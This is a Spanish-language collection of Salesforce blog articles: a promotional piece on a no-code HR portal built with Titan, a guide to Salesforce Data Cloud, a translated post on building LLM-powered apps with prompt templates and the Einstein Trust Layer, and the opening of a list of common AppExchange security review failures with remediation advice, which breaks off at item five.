Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesión en el portal:
  • Reciben una autenticación de dos factores enviada a su correo electrónico para que puedan iniciar sesión en el portal sin administrar ninguna otra contraseña.
  • Las páginas web y los portales se muestran dinámicamente según la autenticación del usuario, proporcionando una experiencia de usuario dinámica con cada clic.
  • Todo está construido sólo con herramientas de arrastrar y soltar. No es necesaria ninguna codificación, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un fácil acceso a información personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado dinámico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quería reservar sus días de vacaciones, tenía que completar un formulario de licencia manual, escanearlo y enviarlo por correo electrónico a Recursos Humanos para su aprobación. Ahora simplemente hacen clic en la pestaña de días de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos móviles, computadoras portátiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la nómina y pueden presentar las solicitudes para recibir el pago antes de la fecha límite de nómina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas rápidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¡incluida la nómina!) y los empleados están más comprometidos.
  • La empresa logró hacer todo esto dentro del presupuesto y en un tiempo récord, sin tener que implementar ningún código ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

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Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Última actualización el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.

Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

¿Qué es Salesforce Data Cloud y por qué debería implementarlo?

Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.

¿Por qué necesito implementar una nube de datos ahora?

Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.

Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.

¿Cómo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Reúna todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando métodos de transformación y adhiriéndose a protocolos de gobernanza.
  • Estandariza tus datos conformándolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicación de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener información mediante consultas y análisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego impleméntelos en múltiples plataformas para crear experiencias personalizadas.
  • Evalúe sus datos a través de soluciones de análisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales específicos.
  • Vuelva a evaluar, cuantifique y ajuste periódicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

Cómo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.

Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.

Pasos de implementación

Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturación.
  • Analiza la gestión de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios además de los permisos que requieren.
  • Establece objetivos de segmentación.
Fuente de la imagen: Configuración de la nube de datos del módulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.

En conclusión

Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalización de Salesforce según las necesidades del cliente. Comenzó su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluación formativa:

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Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}
{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

